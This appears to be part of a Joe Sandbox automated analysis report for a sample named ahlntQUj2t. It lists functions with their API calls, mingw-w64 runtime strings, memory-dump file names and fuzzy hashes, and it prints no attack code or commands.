signal.MSVCRT ref: 00007FF624AC5679
signal.MSVCRT ref: 00007FF624AC5692
signal.MSVCRT ref: 00007FF624AC579A

Strings

CCG , xrefs: 00007FF624AC55E5

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 10537504a00196a9b3d94431f1b0aef2330f68600c29619b56e7bd5272f2aefb
Instruction ID: f85ea7df950310c56a814c4943a0a9d16b049bb66c5ce2e7a46f1cfe38f2e1c9
Opcode Fuzzy Hash: 10537504a00196a9b3d94431f1b0aef2330f68600c29619b56e7bd5272f2aefb
Instruction Fuzzy Hash: D6414560E1952646FFF856A8DCD037921825F893A4F7C8A31E56EC23EBDE1DE8801217

Function 00007FF624AC3650 Relevance: 10.3, APIs: 8, Instructions: 301COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF624AC367B
memcpy.MSVCRT ref: 00007FF624AC372E

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 3e4dabc2adb5626542df54d3314d2d31032bb80ac9b7b60cb051a708b68b7f76
Instruction ID: 7498f7217bbab33400c9bfe9c3fe948a006b47a896db202f26813d56f0691614
Opcode Fuzzy Hash: 3e4dabc2adb5626542df54d3314d2d31032bb80ac9b7b60cb051a708b68b7f76
Instruction Fuzzy Hash: E0D1E421B0968285FF90DB29ED943B967A0AF55B84F548036EA4D877DBEF7DE040C702

Function 00007FF624AC8DF0 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1288COMMON

Download Yara Rule

Strings

, xrefs: 00007FF624ACA2FD

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 17135af469ff3c6c0ec809a47a8bb573385b63787fb45230f64c77c16d810278
Instruction ID: 3491b277ee8621324ce2ea4520bbee6be17dd54e18eadaedd9125cccb9c839f8
Opcode Fuzzy Hash: 17135af469ff3c6c0ec809a47a8bb573385b63787fb45230f64c77c16d810278
Instruction Fuzzy Hash: 23C2DB32A1C6418BDBA18F25E88077AB795FB95784F204135EA4A97BDEDF3DE4408F01

Function 00007FF624AC4B40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d3a6bd0b90a72bb3ebf491c3b8390b68c216c5f6876ae65ed73438912ba1751
Instruction ID: 8a58c138a3956a389cfd1bf6370f2267c20e30d28c1b8d47d427a0a739bc42f4
Opcode Fuzzy Hash: 3d3a6bd0b90a72bb3ebf491c3b8390b68c216c5f6876ae65ed73438912ba1751
Instruction Fuzzy Hash: 09E0B67AA08B84818614DB52F48005EBB74F7D97C4B504916FEDC53B1ACF3CC1A08B40

Function 00007FF624AC62F0 Relevance: 15.2, APIs: 10, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF624AC633E
TlsGetValue.KERNEL32 ref: 00007FF624AC6345
SetLastError.KERNEL32 ref: 00007FF624AC6350

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 6786d91fb8037d0c2d39c0e5c889f81c76e1a462fac33a80f61b93c8b5500b6e
Instruction ID: 0d2cced6a7a57923e4f7d140e4d317e616afaea973549e316ca6276d327bc924
Opcode Fuzzy Hash: 6786d91fb8037d0c2d39c0e5c889f81c76e1a462fac33a80f61b93c8b5500b6e
Instruction Fuzzy Hash: BF614931B0A64685EE95DB2DED8467933A0BF44F85F688036D90D877DADE3DE842C342

Function 00007FF624AC5A80 Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsSetValue.KERNEL32 ref: 00007FF624AC5ABC
TlsGetValue.KERNEL32 ref: 00007FF624AC5A9C

Part of subcall function 00007FF624AC5A40: free.MSVCRT ref: 00007FF624AC5A5F

DeleteCriticalSection.KERNEL32 ref: 00007FF624AC5B16

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: Value$CriticalDeleteSectionfree
String ID:
API String ID: 2588641659-0
Opcode ID: 25fcd06e749af0576e577c08f9ed352b31984f942d49ab70c6168451ae3f547f
Instruction ID: 6bfc1323e013faebf0ed94a8d785610bea4671a8e56d34aad34c490eda76310b
Opcode Fuzzy Hash: 25fcd06e749af0576e577c08f9ed352b31984f942d49ab70c6168451ae3f547f
Instruction Fuzzy Hash: F931B375E0EA1786FF609B5DECD823967B0BF54751FA40072D40E866FADF2CA4548B02

Function 00007FF624AC6650 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwprintf.MSVCRT ref: 00007FF624AC679C

Strings

%*.*S, xrefs: 00007FF624AC6795
%-*.*S, xrefs: 00007FF624AC67CE
%.*S, xrefs: 00007FF624AC67BA

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fwprintf
String ID: %*.*S$%-*.*S$%.*S
API String ID: 968622242-2115465065
Opcode ID: 5daa3b2eaedae02b5240df7bdf5be835bd8279490fa851b47f03983a3476463e
Instruction ID: ea77aa942887527cc75ae09e11b6e86cc5180ad60410f2bfedb663ec53990169
Opcode Fuzzy Hash: 5daa3b2eaedae02b5240df7bdf5be835bd8279490fa851b47f03983a3476463e
Instruction Fuzzy Hash: EA4185B2A5855285FF90CB2DDC847796391AB84F94F248135DE1C876CFDE3DE4418702

Function 00007FF624AC5CD0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_assert.MSVCRT ref: 00007FF624AC5D0C
calloc.MSVCRT ref: 00007FF624AC5D1B
TlsGetValue.KERNEL32 ref: 00007FF624AC5D35
TlsSetValue.KERNEL32 ref: 00007FF624AC5D48

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF624AC5CF8
!dso || dso == &__dso_handle, xrefs: 00007FF624AC5D05

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: Value$_assertcalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 3698345500-799109717
Opcode ID: 193aee4b8652b9a4711a7f79661b0c185f6626f0d83d2310d0e12b61004fedfa
Instruction ID: 60df6405c2f545b8001006f411ed51d1a349a06495dda9930147baeef427e169
Opcode Fuzzy Hash: 193aee4b8652b9a4711a7f79661b0c185f6626f0d83d2310d0e12b61004fedfa
Instruction Fuzzy Hash: 95019271F0970246FF518B9DFDC02B622A5AF08790F984035D90CC77D6EE2CA981C302

Function 00007FF624AC6A18 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF624AC6A31
fwprintf.MSVCRT ref: 00007FF624AC6A5A
fwprintf.MSVCRT ref: 00007FF624AC6A68

Strings

%-*.*s, xrefs: 00007FF624AC6A61
%*.*s, xrefs: 00007FF624AC6A2A
%.*s, xrefs: 00007FF624AC6A4D

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fwprintf
String ID: %*.*s$%-*.*s$%.*s
API String ID: 968622242-4054516066
Opcode ID: 6b71628f83c7297f6daff442497210da6089d8619bbe6908fb57a9677483f1d8
Instruction ID: e9814529bc3c363bd784fe9680f13dc086f2f9f813287c3daf9225d80045ed41
Opcode Fuzzy Hash: 6b71628f83c7297f6daff442497210da6089d8619bbe6908fb57a9677483f1d8
Instruction Fuzzy Hash: 96F05B62A0C602C4FEE0DB1DED811741374AB44B95F605235DA1CC65EFDE2CD5518712

Function 00007FF624AC50B1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF624AC516E
GetLastError.KERNEL32 ref: 00007FF624AC517C

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF624AC51CC
VirtualProtect failed with code 0x%x, xrefs: 00007FF624AC5182
Address %p has no image-section, xrefs: 00007FF624AC51E2

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: ErrorLastProtectVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1672467334-2123141913
Opcode ID: d7a7c433264d073652459f1efc7dd244941dff9229673401627952973cab804b
Instruction ID: 17cb4702637e926009632070c598bd489aeacd7a90d6e9aaa35b7f5bafe8a369
Opcode Fuzzy Hash: d7a7c433264d073652459f1efc7dd244941dff9229673401627952973cab804b
Instruction Fuzzy Hash: CA31E032B096528AFF918B58EC8027973B0AB41765F544132EE0D832DAEF3CE485C301

Function 00007FF624AC61F0 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF624AC620B
memcpy.MSVCRT ref: 00007FF624AC622B
malloc.MSVCRT ref: 00007FF624AC6245
memset.MSVCRT ref: 00007FF624AC626F
abort.MSVCRT(?,00000000,?,00007FF624AC6381), ref: 00007FF624AC6282

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: malloc$abortmemcpymemset
String ID:
API String ID: 4174897659-0
Opcode ID: 5e5bb2cf4d9c3c4d876d0ff22177a5b2a264f996ea93ff18372be3af28f56bb7
Instruction ID: 64c51cb20540361204ac76778cc1af74cc6bd0725789d31731c85ee4f8c11780
Opcode Fuzzy Hash: 5e5bb2cf4d9c3c4d876d0ff22177a5b2a264f996ea93ff18372be3af28f56bb7
Instruction Fuzzy Hash: 5101E563F0A64840ED889B5AFD805F95254EB58FD0F688531CE0D5B3CBEE3CE9818341

Function 00007FF624AC5C20 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF624AC5C6B
EnterCriticalSection.KERNEL32 ref: 00007FF624AC5C86
LeaveCriticalSection.KERNEL32 ref: 00007FF624AC5CA5

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF624AC5C48
!dso || dso == &__dso_handle, xrefs: 00007FF624AC5C55

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: CriticalSection$EnterLeavecalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 876395260-799109717
Opcode ID: 4ff5a429f7bb52d97923efcb833318747879128de8ecd7909eaa28fbfea8a9ea
Instruction ID: 2c0f6ba5592dfd1010be247703eb8c4efb67c9077bd719ad628c309f4de22265
Opcode Fuzzy Hash: 4ff5a429f7bb52d97923efcb833318747879128de8ecd7909eaa28fbfea8a9ea
Instruction Fuzzy Hash: ED012735B0D60685FF508B9DFDC02B523A4AF48781F884032D90DC37EAEE2CA9858302

Function 00007FF624AC5298 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF624AC53BD

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF624AC5562
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF624AC5553
Unknown pseudo relocation bit size %d., xrefs: 00007FF624AC553A

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: dc83335a3dadcf2524c3e82afb01ea5867741f387cfdd7ee093d0d9eb9ede651
Instruction ID: 716c208c30336eb706d2eaf85e3f548aa743fbf389b44cf26eb04cd4bb70f809
Opcode Fuzzy Hash: dc83335a3dadcf2524c3e82afb01ea5867741f387cfdd7ee093d0d9eb9ede651
Instruction Fuzzy Hash: F8713522F1862285FFA08B25DD902BD62A1BF45B94FA44136ED1D8B7CEDE3CE441C742

Function 00007FF624ACB100 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF624ACB15A
MultiByteToWideChar.KERNEL32 ref: 00007FF624ACB19A

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: c24187cac5bff1d128cefd9ff085609a07eddebf6e59efd4b59ea4d86880635e
Instruction ID: b33796944181f1fb75751caad893a205f5b77dbee2cea3841eb270abec9e5506
Opcode Fuzzy Hash: c24187cac5bff1d128cefd9ff085609a07eddebf6e59efd4b59ea4d86880635e
Instruction Fuzzy Hash: 1131DA72A0E28186EBA04B35FC803AD7694BB80794F648135DA98CB7DECF3ED545CB01

Function 00007FF624AC3B60 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF624AC3B90
wcscpy.MSVCRT ref: 00007FF624AC3B9B
wcslen.MSVCRT ref: 00007FF624AC3BAD

Strings

0, xrefs: 00007FF624AC3BDE

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memsetwcscpywcslen
String ID: 0
API String ID: 3616488086-4108050209
Opcode ID: a089d481bb0ba34a1f914aa8b111dfa0ee7132c7b95d24ac31943bd9d82a9655
Instruction ID: f7ddbf963bc01bf7e56958fba0f778005531db6cdd0d36019d01f671c69e6e84
Opcode Fuzzy Hash: a089d481bb0ba34a1f914aa8b111dfa0ee7132c7b95d24ac31943bd9d82a9655
